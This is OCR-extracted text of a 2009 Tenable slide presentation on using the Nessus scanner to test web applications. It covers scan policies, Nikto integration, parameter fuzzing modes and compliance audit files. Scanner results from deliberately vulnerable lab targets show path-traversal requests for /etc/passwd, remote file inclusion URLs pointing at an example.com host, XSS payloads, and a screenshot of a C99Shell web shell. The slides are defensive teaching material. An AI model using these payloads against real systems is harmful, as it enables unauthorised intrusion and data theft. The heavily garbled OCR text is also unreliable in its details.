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About Tenable

e Nessus vulnerability scanner,
ProfessionalFeed

e Security Center provides “Unified Security
Monitoring”

e LCE - Log Correlation Engine
e PVS - Passive Vulnerability Scanning
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Who Am I?

Product Evangelist at Tenable Network
Security

- I'm a “blogger”, technical blog postings on how
to use Tenable products

— Assist in research and development of products

— Tell people how to use the product
PaulDotCom

- Weekly podcast and webcasts

— Community for security professionals

— Author, “Linksys WRT54G Ultimate Hacking”
In The Trenches...

— Worked for University for 7 years

— Firewall admin, IDS analyst, response team
leader

— Penetration tester
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Why Use Nessus To Test Web Apps?

e Test your own web applications to justify
budget for 3rd party web application
testing

e Find flaws before your audit to save time &
money

e Implement a process for continually
finding and fixing web application flaws

e Test the environment that supports you
web applications



Using Nessus In Web Application Tests

e Network-based testing
— Find vulnerabilities in web server software
- Detect CGI programs and vulnerabilities
— Configurable “fuzzing” of CGI programs
— Detect vulnerable web servers and apps
— Integration of 3rd party tools such as Nikto

Plugin output :
The following instances of phpMyAdmin were detected on the remote host :
Version : 2.11.9.5

URL : http://192.168.1.26/phpMyAdmin/
URL : http://192.168.1.26/phpmyadmin/

Nessus ID : 17219

Application checks are useful for “"blind” tests
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Using Nessus In Web Application Tests

e Local patch/configuration auditing

1) Detect missing patches for most major @OWASP
operating systems and Linux distributions FoYiXera

2) Compare settings to industry standard
. L . . HIPAA
hardening guidelines, including: compliance

e Operating system
e Web server

e Database

3) Create your own custom checks

— |:.1
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Using Nessus In Web Application Tests

e Use Nessus as part of you web application
assessment strategy

e Performing exhaustive tests for all XSS or
SQL injection scenarios can take days!

— Nessus allows you to adjust timers to control
scan duration

— Consider multiple scan configurations
e Supplements manual web application
testing

— Required for a complete audit, especially
session manipulation
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Selecting Targets: Virtual Hosts

BY Live Search | ip:69.25.74.162 B Y Web server Virtua| hosts
Sereelllso' Im;,ge!IV|dz;i)’h;evJS Maps, More v Ca n m a S k a p p I I Ca tl O n S
change.gov
change.gov - Ca =
. e Several enumeration
Aqe_nda | Chanqe.qov: The Qbama-Bldep Trans'mon Team . .
I(ivf?zvlilq\;\{i]t;Sulgivgfq‘;:gaObiaj::ﬁ-jldj:fres|dent|al Transition Team te C h n I q u e S a Va I I a b I e
obamabidentransitionproject.org .
MS Live
donate.obamabidentransitionproject.org

obamabidentransitionproject.org - Cached page
https://donate.obamabidentransitionproject.org/page/contribute - Cached page — D N E ;

ched page

donate.obamabidentransitionproject.org
https://donate.obamabidentransitionproject.org/page/contribute/november20_1 - Cached page

Banner grabbing

Blue State Digital
Blue State Digital, LLC provides Internet strategy consulting services and web application
development.

hey.man.can.you.spare.some.change.gov - Cached page .
wiki.example.com W
Headed to Mexico for Spring Break? Consider this. -
blog.example.com 4
192.168.10.10 W
store.example.com 4

http://Iab.Ionerunners.net/blog/virtuaI-host-and-dns-names-enumeration-techniques
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Differences Between IP and Hostnames
v 192.168.1.26 — IP of web server

general/tcp

general/udp
Plugin output :

general/icmp
Page : /?page=register.php
Destination page : /index.php?page=register.

.php ssh (22 /tc
Input name : password

Input name : password_confirm h
sunrpc (111 /tcp)
sunrpc (111 /udp)
ntp (123 /udp)
unknown (713 /udp)
unknown (716/tcp)

mysql (3306/tcp)

ajp13 (8009/tcp)
Domain name
specified ﬁ v pwnme.paul.com
general/tcp
general/udp

general/icmp

‘ Medium level
vulnerabilities

Unknown CGI Argument Input Validation Tests (torturecgis)

The following requests seem to allow the reading of
sensitive files or XSS. You should manually try them to see if anything bad happens :
/mutillidae/?do=logout&page=/etc/passwd

/mutillidae/?do=logout&page=/etc/passwd
HI h rISk http (80 /tcp) /mutillidae/?do=logout&page=../../../../[..[..[../. .[etc/passwd
g - /mutillidae/?do=logout&page=../../.././../..[../. [etc/passwd
sunrpc (111 /tcp) /mutillidae/?do=logout&page=../../../../../../../..letc/passwd%00
vulnerabil |ty vt /mutillidae/?do=logout&page=../.././.././. .| fetc/passwd?%00
sunrpc (111/udp) /mutillidae/?do=logout&page=........1...../....I../etc/passwd%00.html
/mutillidae/?do=logout&page=../../..[..[..[..1..[../etc/passwd%00.html
ntp (123 /udp) /mutillidae/?do=logout&page=......../..1.... I..I../etc/passwd%00index.html
o ' /mutillidae/?do=logout&page=../../..[..[..[..[. /. ./etc/passwd%00index. html|
imlevmminin (T1C Teemn)
I/
: d =
| | &/ TENARLE
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Web App Testing With Nessus: Network Policies

e CGI abuses - This plugin family checks for anything that is ‘CGI’ related, unless it is XSS (and only a
XSS vulnerability), in which case it falls into the "CGI abuses : XSS" family. These checks use a
combination of detection techniques, including checking version of the application and testing for the
actual vulnerability. The attacks include software detection, information disclosure, XSS, SQLi, LFI, RFI,
overflows and more.

e CGI abuses : XSS - Specific CGI checks for reflective and persistent XSS vulnerabilities in common
web applications.

o Database - Typically a web server will run a database that is used by various web applications.

e FTP - Web pages need to be updated, and FTP is a popular protocol used to allow your web developers
to send files to the server.

e Gain a Shell Remotely & Gain root remotely - If you gain root/shell remotely, resolve this problem
before the application is tested.

e General - Contains the operating system fingerprinting plugins, including ones that will identify the OS
over HTTP. Identifying the underlying operating system is very important for web application testing, as
it will determine the syntax of commands sent via injection (command and SQL) attacks.

e Remote file access- Includes checks for specific web server/application vulnerabilities that lead to
remote file disclosure.

e Service detection - Contains checks for several different services, including detecting Apache running
HTTPS, HTTP CONNECT proxy settings and other services that may host web applications.

e Web servers - Plugins in this family detect approximately 300 specific vulnerabilities in popular web
servers, such as Apache, IIS and generic vulnerabilities associated with the HTTP protocol itself.

= “L'| =[] /8\[22 =
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Advanced Options - Global variable settings

e "Enable CGI scanning” -
Sends various test strings to o

CGI prog rams to find Policy Options  Credentials  Plugin Selection  Network | Advanced |
vulnerabilities & enables CGI !

M Probe services on e very port

- on every p t
p I u g I I l S Do not log in with user accounts not specified in the policy

I W Enable CGI scanning I

Network type dixed (use RFC 1918)
" - M Enable experimental scripts
o "“"Enable experimental -
- Y/ 4 Report verbosity | Normal 3]
SCr’p ts = Test for Report paranoia | Normal +)
N 4

vulnerabilities that use new
techniques 11 Vo T Eo R T PO

e "Thorough tests (slow)” -
Crawls and tests more web
pages, enables more exhaustive
SQL injection testing

\ s o [ T

B 1|— NITAV2! =
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Advanced - Web Mirroring

e Web mirroring - Specify
the web server directory
you wish to scan

e Forces Nessus to crawl
it AND test it for CGI
vulnerabilities

— Results are sent to

the torturecgi nasl
for testing

July 15, 2009

(&)

Edit Policy

Policy Options Credentials Plugin Selection Network Advanced

irroring v ]

™ Follow

Copyright © 2009 Tenable Network Security, Inc.

Number of pages to mirror : >200
Start page :.,.":.f'wi'(i [forum
dynamic pages :
Excluded items regex :',."manual

Maximum depth : 5

If you know where the
applications live, specify
them in the list.

Exclude other directories to
save time.



Nessus: Nikto Integration

e Included with Nessus in the "CGI Abuses”
family is "Nikto (Nasl Wrapper)”

— Runs Nikto against the target(s)

- “nikto.pl” must be in your path on the Nessus
server

— Works with Nikto 2.03 (latest, download from
http://www.cirt.net/nikto?2

start() {
KIND="Nessus"

PATH=/opt/nikto: $PATH; export PATH
echo -n 3 >tarting MNessus @

fopt/nessusi/sbin/nessus-service -D -q
r":ChCl o
return @

Modified /etc/init.d/nessus

http://blog.tenabl ritv.com/2 ing-n

July 15, 2009 Copyright © 2009 Tenable Network Security, Inc.
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Example Nikto Results

Here is the Nikto report:
- Nikto v2.03/2.04

+ Target IP: 192.168.1.26

+ Target Hostname: 192.168.1.26
+ Target Port: 80

+ Start Time: 2009-05-19 18:45:29

+ Server: Apache/2.2.3 (CentOS)

- Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP method (‘Allow' Header): TRACE' is typically only used for debugging and should be
disabled. This message does not mean it is vulnerable to XST.

+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.2.10). Apache 1.3.41 and 2.0.63 are
also current.

+ OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See
http://www.cqgisecurity.com/whitehat-mirror/WhitePaper screen.pdf for details

+ OSVDB-3092: GET /phpmyadmin/ : phpMyAdmin is for managing MySQL databases, and should be
protected or limited to authorized hosts.

+ OSVDB-3092: GET /phpMyAdmin/ : phpMyAdmin is for managing MySQL databases, and should be
protected or limited to authorized hosts.

+ OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons

+ OSVDB-3233: GET /icons/README : Apache default file found.

+ 3577 items checked: 8 item(s) reported on remote host

+ End Time: 2009-05-19 18:45:51 (22 seconds)

+ 1 host(s) tested

Test Options: -vhost 192.168.1.26 -root / -host 192.168.1.26 -port 80

ALy
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Nessus: HMAP HTTP Server Detection

Based on research from UCDavis

Nessus (Michel Arboi) includes this research
based on reference implementation

— http://ujeni.murkyroc.com/hmap/
Works similarly to TCP/IP-based OS fingerprinting

Trying to hide your web server by changing the
banner? Think again...

Must enable “Thorough checks” and disable “"Safe
Checks”!

Plugin output :

This web server was fingerprinted as : Apache/2.0.50-2.2.4 (Linux)
which is consistent with the displayed banner : Apache/2.2.3 (CentOS)

LIy . ’ s = =
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Web Application Test Settings

Edit Policy

Policy Options Credentials Plugin Selection Network m . CO m p I ete Ove rh a u I I n
Web Application Tests Settings T] J u n e 2 O O 9
IY' Enable web applications tests R d I t f b
Maximum run time (min) :v120 ] . ea S resu S O We
lZf Send POST reguests = h t t
Combinations of arguments values | all pairs (slower but efficient) 4] m I r rO r t e n e S S :
Stop at first flaw | per CGI [ _ SQL |nJeCt|0n

[ Test embedded web servers

- Cross-site Scripting

NOTE: THIS SCRIPT IS NOT MEANT - Remote File Inclusion
TO REPLACE HUMAN EXAMINATION - Directory Traversal sequences
OR A PROPER APPLICATION — Encoded Directory Traversal
AUDIT. THIS SCRIPT IS DESIGNED sequences (e.g., ..%2F..%2Fetc)
TO DO RUDI"'(')ENNLT\'(ARY TESTING — Command injection (e.g., |/bin/id)

. - - - - - - -
f r— = p—_
= 1 [ NI \| 24 =
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Web App Tests

e Specify how long o
Nessus should test

| Web Application Te ngs
W e b a p p S IY‘ Enable web applications tests
Maximum run 47120 |
-
e Applies to one web

site’s ports and
applications for each
attack

e Enable/disable
testing embedded
web servers

Cancel

i |' ¥ J . = = A ;
e lL_' \\[ INE =
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Web App Tests

8.0 Edit Policy

'_ Policy - Options » Credentials ‘ Plugin Selection A Network Advanced ,'

'. Web Application Tests Settings ?

] Enable web applications tests

Maximum run time (min) : 60
) Send POST requests

Combinations of arguments value ¥ one value
all pairs (slower but efficient)
all combinations (extremely slow)

w @

Stop at first fla)

"] Test embedded web servers

e "Combinations of arguments value” determines how
Nessus will test each parameter of the CGI

e Very powerful feature, not found or configurable in
some web application testing tools

e Has a huge impact on time...

‘:| [ n 1 [
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Combinations Testing: One Value

e Suppose Nessus found a CGI, vuln.php,
that takes three parameters
-ID - 1,2
- CAT - 10,11
- COLOR -1,b
e Nessus will send just two attack strings in
this example:
- ATT1 =<script>alert("foo"); </script>
- ATT2 = <body onload=alert("foo"); >

Valid Request:
/vuiln.php?id=1&cat=10&color=r

July 15, 2009 Copyright © 2009 Tenable Network Security, Inc. @ 1 L L \
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“One value” (Single Mode)

/vuln.php?id=ATT1&cat=10&color=r <_B‘o‘oth “cat” and
/vuln.php?id=ATT2&cat=10&color=r color™ never

change

/vuin.php?id=1&cat=ATT1&color=r
/vuln.php?id=1&cat=ATT2&color=r Several other

combinations
not tested!

/vuin.php?id=1&cat=10&color=ATT1
/vuin.php?id=1&cat=10&color=ATT2

Nessus uses the first value found in
web mirroring as the static value for
all testing

(O ;
{ i E o =T
= 1 =N JAN| B4 =
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All Pairs

/vuln.php?id=ATT1&cat=10&color=r Nessus uses first
/vuln.php?id=ATT1&cat=11&color=r <¢g=— yalue discovered
in web mirror

/vuin.php?id=1&cat=ATT1&color=r
/vuin.php?id=2&cat=ATT1&color=r

/vuin.php?id=1&cat=10&color=ATT1

o _ _ Ex. We never test
/vuin.php?id=2&cat=10&color=ATT1 when “color=b"

) and “cat=11"
/vuin.php?id=1&cat=10&color=ATT1

/vuin.php?id=1&cat=11&color=ATT1

Some variables remain static, but
more thorough than single mode

(O ; . ’ g p—
' ) _] 5t a1 p— r
e l = N FAN] B4 '=|
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All Combinations Mode

/vuiln.php?id=ATT1&cat=1 0&color=rﬁ: Ex. We test
/vuln.php?id=ATT1&cat=10&color=b each combo

/vuiln.php?id=ATT1&cat=11&color=r
/vuln.php?id=ATT1&cat=11&color=b
/vuiln.php?id=ATT2&cat=10&color=r
/vuin.php?id=ATT2&cat=10&color=b
/vuln.php?id=ATT2&cat=11&color=r
/vuin.php?id=ATT2&cat=11&color=b

All combinations of all parameters
are tested with each attack string.
This can be time consuming!

(O ; . ’ g p—
f [ =3 = = I
= 1 M= N JAN] B4 '=1
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Web App Tests

8.0.0 Edit Policy

': Policy Options Credentials Plugin Selection Network Advanced]

| Web Application Tests Settings

)

7] Enable web applications tests

Maximum run time (min) : 60
["] Send POST requests

Combinations of arguments values | one value H

- \

Stop at first flay ¥ per port {(quicker)
per CCI

"] Test embedded web servers :
look for all flaws (slower)

e To help save time, tell Nessus when to
stop

e Applies to each host being tested

i
ﬁ FE NABISE
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Example: Moth

CGl Generic Remote Flle Inclusion Vulnerabllity ST

Synopsis :

Arbitrary code may be run on the remote server.

Description :

The remote web server hosts CGl scripts that fail to adequately sanitize
request strings. By leveraging this issue, an attacker may be able

to include a remote file from a remote server and execute arbitrary
commands on the target host.

See also :

http://en.wikipedia.org/wiki/Remote File Inclusion

Solution :

Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Risk factor :

High / CVSS Base Score : 7.5
(CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to Web code injection :

/w3af/audit/local_file_inclusion/trivial _Ifi.php?file=http://3It2MY66.example.com/&1853133142=16-4-1A0109E
5FD4175C4CB2410D0DI86B 14455C58908& name=&message=&rating=5&org.apache. struts.taglib.html. CANC
output
<b>Warning</b>: require(http://3It2MY 66.example.com/) [<a href=f [...]
<br />

<b>Fatal error</b>: require() [<a href="function.require>functio [...]

/php-ids/w3af/audit/remoteFilelnclusion/vulnerable.php?file=http://3It2MY66.example.com/&firstname=_8&para
5FD4175C4CB2410D0D986B14455C5890&name=&message=&rating=5&org.apache.struts.taglib.html.CANC
output
<b>Warning</b>: require(http://3It2MY 66.example.com/) [<a href=f [...]
<br />

<b>Fatal error</b>: require() [<a href="function.require>functio [...]

Clicking directly on these URLs might expose the vulnerabilities :
(you will probably need to check the HTML source)

http://192.168.1.89/w3af/audit/local file inclusion/trivial Ifi.php?file=http://3lt2MY66.example.com/&1853133
5FD4175C4CB2410D0D986B14455C5830&name=8&message=&rating=5&org.apache.struts.taglib.html. CANC
http://192.168.1.89/php-ids/w3af/audit/remoteFilelnclusion/vulnerable. php?file=http://3It2M Y 66.example.com.
5FD4175C4CB2410D0D986B 14455C5830&name=&message=&rating=5&org.apache.struts.taglib.html. CANC

LY,

7@ UERNABILE
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Manual Testing Of Remote File Include

®no 192.168.1.89 - ¢99shell
1.Sgly'php—lds,v‘wBal.'audll i Inerable.php?file=htt

# C99Shell v. 1.0 pre-release build #13 &

Software: Apache/2.2.9 (Ubuntu) mod_jk/1.2.26 mod_mono /1.9 Phusion_Passenger/2.0.6 PHP/5.2.6-2ubuntud.1 with Suhosin-Patch
mod_python/3.3.1 Python/2.5.2

uname -a: Linux moth 2.6.27-11-server #1 SMP Wed Apr 1 21:53:55 UTC 2009 i686

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Safe-mode:

/var/www /w3af/audit/remoteFileInclusion/

Free 14.52 GB of 18.6 GB (78.07%)

[@ m E [@ r ’@ @ Encoder Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Owned by hacker

Listing folder (3 files and 1 folders):

Modify Owner/Group
07.04.2009 21:34: www-data/www =

01.03.2009 11:20:0 www-data/www-da -y |

[—t [.svn] 07.04.2009 21:33: www-data/www

B cection.pip 01.03.2009 11:20:0 wwvw-data/www 000 -
toBelncluded.txt 22.02.2009 22:40:3 www-data/www U0 e

B..crobie php 01.03.2009 11:20:0 www-data/www OO0 @

Select all Unselect all @ With selected: 'y |  Confirm

:: Command execute ::

Execute ~ Execute

it Upload ::

& - regexp Search no file selected Upload

:: Make Dir :: :: Make File ::
var/wew/w3af/audit/remoteFileInclusion/ Create Narfwwwiw3affaudit/remoteFilelnclusion/ Create

12 Go Dir :: :: Go File ::
JuIy 15, 2009 Nar/wenw/w3affaudit/remoteFilelnclusion/ 5 Narfwww/w3af/audit/remoteFilelnclusion/
14




Example: Cross-Site Scripting

Synopsis :

The remote web server is prone to cross-site scripting attacks.
Description :

The remote web server hosts CGI scripts that fail to adequately sanitize
request strings with malicious JavaScript. By leveraging this issue,

an attacker may be able to cause arbitrary HTML and script code

to be executed in a user's browser within the security context of the
affected site.

See also :

http://en.wikipedia.org/wiki/Cross-site _scripting

Solution :

Restrict access to the vulnerable application. Contact the vendor
for a patch or upgrade.

Risk factor :

Medium / CVSS Base Score : 4.3
(CVSS2#AV:N/AC:M/AuU:N/C:N/I:P/A:N)

July 15, 2009
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Plugin output :
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to Cross site scripting :

/php-ids/w3af/audit/xss/no_tag_xss.php?text=<<<<<<<<<<foobar>>>>>&country=CA&language=en
output

Start--
<img src="<<<<<<<<<<foobar>>>>>"><br/>
-End

/mod_security/w3af/audit/xss/no_tag_xss.php?text=<<<<<<<<<<foobar>>>>>8&1853133142=16-36-1,
output

Start--
<img sre="<<<<<<<<<<foobar>>>>>"><br/>
-End

/mod_security/w3af/audit/xss/simple_xss_no_guotes.php?text=<<<<<<<<<<foobar>>>>>&18531331.
output

@S TENABLE

Network Security



Manual Testing: XSS

0T http://192.168.1.89/w3af/audit/xss/simple_xss_no_quot...%3C%2F%5 3%43%52%49%50%54%3 E%3E&country=CA&language=en
-Z:’:E Loading... X | {(e\MeLITIl

(>

Start--

+ [ http://192.168.1.89/w3af/audit/xss/simple_xss.php?text=<BODY%200NLOAD=aler

--End

July 15, 2009

p

http://192.168.1.89

foo
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Clicking directly on these URLs might expose the vulnerabilities :
(you will probably need to check the HTML source)

http://192.168.1.89/php-ids/w3af/audit/xss/no_tag xss.php2text=<<<<<<<<<<foobar>>>>>&country=CA&language
http://192.168.1.89/mod_security/w3af/audit/xss/no_tag xss.php?text=<<<<<<<<<<foobar>>>>>&1853133142=16

http://192.168.1.89/mod _security/w3af/audit/xss/simple xss no quotes.php?text=<<<<<<<<<<foobar>>>>>8&185!
http://192.168.1.89/w3af/audit/local file inclusion/false positive.php?file=<BODY %200NLOAD=alert(foo')>&18531:

http://192.168.1.89/w3af/audit/eval/eval. php?c=<BODY%200NLOAD=alert(f00')>8&1853133142=16-36-1A0109B18C

http://192.168.1.89/w3af/audit/xss/simple xss no_guotes.php2text=<<<<<<<<<<foobar>>>>>8&1853133142=16-3¢
http://192.168.1.89/php-ids/w3af/audit/xss/simple_xss no_guotes.php?text=<<<<<<<<<<foobar>>>>>&animal2=2
95CFEDGE 1288FD5056D6EBDOAFCC7C368&color3=#00FF008&fruit3=Pear&book 1=1558608621&color2=#00FF00&d
http://192.168.1.89/w3af/audit/xss/simple xss.php?text=<BODY %200NLOAD=alert(fo0')>&1853133142=16-6-1A01

95CFEDGE 1288FD5056D6EB8D0AFCC7C36&color3=#00FF00&fruit3=Pear&book 1=15586086218&color2=#00FF00&d
http://192.168.1.89/w3af/audit/global redirect/meta.php?url=<BODY%200NLOAD=alert(fo0')>&1853133142=16-6-1,

95CFEDBE 1288FD5056D6EB8DOAFCC7C368&color3=#00F FO0&fruit3=Pear&book 1=15586086218&color2=#00F F00&d
http://192.168.1.89/w3af/audit/xss/no_tag xss.php?text=<BODY%200NLOAD=alert(foo')>&hidden=Sssh!%20It's%
C1DF48DA6277EFOEF3E7EE7B40505748&name=&message=&rating=58&org.apache.struts.taglib.htm|. CANCEL=C
http://192.168.1.89/mod_security/w3af/audit/xss/simple xss.php?text=<<<<<<<<<<foobar>>>>>&ReturnUrl=http:/
C1DF48DA6277EFOEF3E7EE7B40505748&name=8&message=&rating=58&org.apache. struts.taglib.htm|. CANCEL=C

http://192.168.1.89/php-ids/w3af/audit/xss/simple xss no script 2.php?text=<<<<<<<<<<foobar>>>>>&fruits=Pir
7760AB5E55EB5A270C7CB09ABA 1CC2374& creditCard=&max=8&password=_&floatValue=&integerValue=&shortValue
http://192. 168.1.89/php-ids/w3af/audit/MX _injection/mxi.php?i=<<<<<<<<<<foobar>>>>>81853133142=16-32-1A0
7760AB5E55EB5A270C7CB09ABA 1CC2374&creditCard=&max=8&password=&floatValue=&integerValue=&shortValue
http://192.168.1.89/mod _security/w3af/audit/MX_injection/mxi.php?i=<<<<<<<<<<foobar>>>>>&1853133142=48-3
7760AB5E55EB5A270C7CB09ABA1CC2374&creditCard=&max=8&password=&floatValue=&integerValue=&shortValue

http://192.168.1.89/w3af/audit/global redirect/java.php?url=<BODY%200NLOAD=alert(fo0')>&1853133142=16-2-1A
5FD4175C4CB2410D0D986B 14455C5830&name=&message=&rating=58&org.apache.struts.taglib.html|. CANCEL=Cs

http://192.168.1.89/w3af/audit/xss/simple xss no_script.php?text=<BODY%200NLOAD=alert(foo)>&MAX FILE ¢

5FD4175C4CB2410D0D986B 14455C5890&name=&message=_&rating=5&org.apache. struts.taglib.html. CANCEL=Cs

http://192.168.1 .BQ/\yng/auqit/xss/s_im le xss no js.ph ?text;<BQDY%200NLOAD=aIert 'foom>&MA)E AFAIL_E_SI_ZE
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Nessus Credentialed Scanning Web Apps

e Nessus can audit the local configuration,
primary areas are:

- Local Checks - Provides patch audit of the
system

- OS Specific Audits - Audit files compare your
operating system configuration to a standard

- Web Server Audits - Compares your web
server configuration to a standard

- Database Audits - Checks the database
configuration against a known standard
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Local Testing With Nessus

e Nessus scanning with

credentials allows you to audit
patch levels and configuration

e |Local checks help with web
application assessments by
identifying missing patches:

- Apache

- PHP

- IIS

- OpenSSL
- MySQL

July 15, 2009 Copyright © 2009 Tenable Network Security, Inc.

Fedora Core 5 2007-617: httpd

The remote host is missing the patch for the advisory FEDORA-2007-617 (httpd).

The Apache HTTP Server is a powerful, efficient, and extensible
web server.

Update Information:

The Apache HTTP Server did not verify that a process was an
Apache child process before sending it signals. A local
attacker with the ability to run scripts on the Apache HTTP
Server could manipulate the scoreboard and cause arbitrary
processes to be terminated which could lead to a denial of
service (CVE-2007-3304). This issue is not exploitable on
Fedora if using the default SELinux targeted policy.

A flaw was found in the Apache HTTP Server mod_status
module. On sites where the server-status page is publicly
accessible and ExtendedStatus is enabled this could lead to
a cross-site scripting attack. On Fedora the server-status
page is not enabled by default and it is best practice to

not make this publicly available. (CVE-2006-5752)

A bug was found in the Apache HTTP Server mod_cache module.
On sites where caching is enabled, a remote attacker could

send a carefully crafted request that would cause the Apache
child process handling that request to crash. This could

lead to a denial of service if using a threaded

Multi-Processing Module. (CVE-2007-1863)

Solution : Get the newest Fedora Updates
Risk factor : High

Plugin output :

Remote package installed : httpd-2.2.0-5.1.2
Should be : httpd-2.2.2-1.3
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Audit Policies

e Allow you to compare your system
settings to pre-defined standards

— Must be a Nessus ProfessionalFeed

customer

— Scans must contain credentials for
ta g ets " 2. Check if safe_mode is set to On." : [FAILED]

— Credentials do not need administrative note: This feature has been REMOVED as of PHP 6.0.0
p erl Ieg eS File : /etc/php.ini

e Check for things like safe_mode Nessue 0 2oz

OWASP Check Failing
— This is great for large organizations with
multiple environments and little control
over the developers, e.g. Universities
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Audit Policies: Operating System

e Several different standards to choose

fro I I l : Unix Compliance Checks
"2.3 Configure SSH." : [FAILED]
Checking if PermitRootLogin is set to no and not commented for server.

C I S Be n C h m a rkS - error message: The file "/etc/ssh/sshd_config" does not contain * *[*#]*PermitRootLogin *

. . . Nessus ID : 21157
e http://www.cisecurity.org/ CIS Benchmark Audit Failing

e http://iase.disa.mil/stigs/checklist/
- GLBA

o http://www.ftc.gov/privacy/privacyinitiatives/glbact.html
- HIPAA

e http://www.cms.hhs.gov/HIPAAGenInfo/
- FDCC

e http://nvd.nist.gov/fdcc/
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Audit Policies: Database

CIS_MySQL_4.1_5.1 Benchmark_v1.0.1.audit - This database audit

file implements a majority of the SQL specific checks from the CIS MySQL
4.1, 5.0, 5.1 Community Editions v 1.0.1. (Last updated February 27,

SQL Server 2005 CIS_SQL2005_Benchmark_v1l_1 - Implements a

majority of the SQL specific checks from the CIS SQLServer 2005
Benchmark v 1.1 for Windows systems. (Last updated February 4, 2009.)

2009.)
[ ]

Policy I Options ] Credentials I Plugin Selection ] Network  Advanced l

Login : I nessus

Password : I ssssee
DB Type : |MySQL ~|

Database SID : | oscomm

Oracle auth type: INORMAL

Led Lo

SQL Server auth type: [SQL

Make sure the database is locked down.

Accessing the database is just as good as shell!

July 15, 2009 Copyright © 2009 Tenable Network Security, Inc.

Database Compliance Checks

"4,7 Verify Secure Password Hashes": [FAILED]
All password hashes should be 41 bytes or longer
Remote value:

"root", 3c8cl1a8e271edbad

"root",

llll}

J
"mambao", 3c8clade271ed4bad
"nessus”, 5947db9r694467a3

Policy value:

MULL

MNessus ID : 33814
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Audit Files For Web Application Servers

e Tenable Apache Best Practices - Consists of a list of best
practices checks for a host running Apache web server. (Last
updated March 3, 2009.)

e Tenable IIS Best Practices - Consists of a list of best
practices checks for a Microsoft IIS 6 server. (Last updated
April 1, 2009.)

e OWASP best practice recommendations - This document
implements OWASP best practice recommendations for PHP.
(Last updated March 3, 2009.)

e CIS_Apache_v2_1 - This audit file implements a majority

of the configuration checks from the CIS Level 1 Benchmark/
Apache v2.1 guide for Linux systems. (Last updated October
21, 2008.

The above audit files can be downloaded from https://plugins-customers.nessus.org
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Create Your Own!

e You can easily create your own audit
policies

e Tailor them to your policies and procedures
- You do have those, right?

e Even better, take an existing one and
modify it!

|| Almost as fun as building your
. own wireless policy enforcer!
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Example: Replacing Base64 with DIGEST

e Base64 encoded passwords traveling
across the network are “bad”

e They are sometimes found trying to
protect web applications

e [ wrote an audit file entry for Apache
servers

— Check to see if Base64 is being used

type : FILE CONTENT CHECK NOT

description : "Check if AuthType entry in httpd.conf is correctly set"
file : "httpd.conf"

search locations : "/usr/local/apache/conf:/etc/httpd"

regex : "A[*#]*AuthType .*"

expect : "AuthType Basic"
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Web App Assessment: Where we are going...

Nessus 4 is much faster, we now have bandwidth to do
more, patch audits and probes

Assisting with PCI DSS audits and continuing to keep up
with PCI as a standard

Researching more ways to use white box testing (.audit
files) to audit web servers

Enhancing our passive network analysis and log
correlation tools to look for more web attacks

We have a strong web application assessment
methodology created from both previous experiences and
working with the plugins. We are working on getting
Nessus 4 to provide more extensive coverage
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Playgrounds For Your Web App Assessments

e Virtual Machines
— DVL (Damn Vulnerable Linux)
e http://www.damnvulnerablelinux.org/
- Moth
e http://www.bonsai-sec.com/en/research/moth.php

e Stand-alone Applications
— Stanford SecuriBench
o http://suif.stanford.edu/~livshits/securibench/
- WebGoat
o http://www.owasp.org/index.php/Category:OWASP_WebGoat Project
— Mutillidae

e http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-
vulnerable-php-owasp-top-10&mode=print

® Remote Sites
- Acunetix:
e http://testphp.acunetix.com/
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Blog Posts: http://blog.tenablesecurity.com

e Scanning Multiple Apache VirtualHosts With Nessus

Nnessus. html

e Tips For Using Nessus In Web Appllcatlon Testing

testlng html

e Auditing PHP Settings to OWASP Recommendations
with Nessus

recommendatlons with-nessus.html

e Detecting Base64 Encoded Authentication Requests

- http://blog.tenablesecurity.com/2009/03/detecting-base64-encoded-authentication-
requests.html
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Contact

pasadoorian@tenablesecurity.com

e Web: http://www.tenablesecurity.com

e VVideos: http://www.nessus.org/demos

e Blog: http://blog.tenablesecurity.com
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